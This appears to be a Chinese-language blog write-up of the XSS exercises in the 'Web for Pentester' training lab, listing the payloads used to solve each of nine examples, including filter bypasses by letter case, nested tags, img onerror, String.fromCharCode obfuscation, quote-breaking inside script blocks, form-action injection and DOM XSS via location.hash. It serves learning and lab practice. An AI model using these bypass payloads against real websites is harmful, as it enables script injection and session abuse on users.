Web Pentester渗透靶机-XSS模块

下面我们一起对web for pentester中的XSS模块进行讲解

 

 example1

直接使用常用script标签,发现弹框,完全没有过滤编码,各种姿势绕过~

 

 

example2

从这里可以看到,过滤掉了<script>标签,我们试试大小写?

name=<Script>alert('bb')</sCript>

嗯,大小写绕过了

 

 

example3

和上一张图一样,<script>标签被过滤掉了

先试试 name=la<script>la,输出hello,lala

name=<scri<script>pt>alert('bb')</scri</script>pt>

经测试这个在实例2也是可以用的

 

 

example4

先输入最基本的测试name=<script>alert('bb')</script>

竟然输出error了!

换个标签? name=<img>?这次没error。补全补全~

name=<img src="1" onerror="alert('bb')">

成功了~~经测试这个payload在前三个应该也是可以的

 

 example5

先输入name=<img>正常显示

补全name=<img src="1" onerror="alert('bb')"> 输出error

发现alert被过滤掉了- -但是其他的函数还可以用,

比如说name=<img src="1" onerror="confirm('aa')">

当然我们还可以用JS10进制编码

name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">

 

 

example6

查看元素,发现输出竟然在script标签中。

 

 

$a="<img  src="1" onerror="alert('bb')">"

输出在script标签中的情况要首先闭合双引号"

name=fdf";alert($a);//

 

 example7

审计元素

<script>
var $a= 'fdf&quot;;alert($a);//';
</script>

发现双引号被HTMLEncode了

- -还发现$a=''这个地方变成了单引号。。。稍微改一下

name=fdf';alert($a);//

 

 

example8

一看属于存储型XSS

这时候

随便输出个名字<script>alert('a')</script>

审查元素

HELLO &lt;script&gt;alert('a')&lt;/script&gt;

<>被HTMLEncode了。

对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?

经过答案的提醒- -我们发现form表的目标URL是可以被构造的

http://192.168.2.176/xss/example8.php/%22%20onsubmit=%22alert('1')

在提交的时候,会触发弹窗

 

 

 

 

example9

这题做的时候有点混乱。。先贴答案,把URL改成http://192.168.2.176/xss/example9.php#<script>alert(1)</script>

首先看到代码里有<script>  document.write(location.hash.substring(1));  </script>,所以显然入口在这里。

百度了一发,location.hash就是得到URL中”#“开始的字符串。substring(1)就得到了#后的字符串。

document.write()是把括号中的部分写到HTML文档的这段代码后(我大概这么理解了一下)

所以就在#后加入payload:#<script>alert(1)</script>

按F12看到HTML改成了:



PS:奇怪的是之前写简单的HTML,用chrome测试document.write()的时候,它会自动在文档中加入双引号,即使再用双引号注释掉也做不到弹窗。以后再试试看吧。



总体来说,web for pentester这9题算是很不错的XSS入门练习了,做完9题,会有一个简单直观的了解。

posted @ 2019-10-31 16:10  edc冠希  阅读(460)  评论(0)    收藏  举报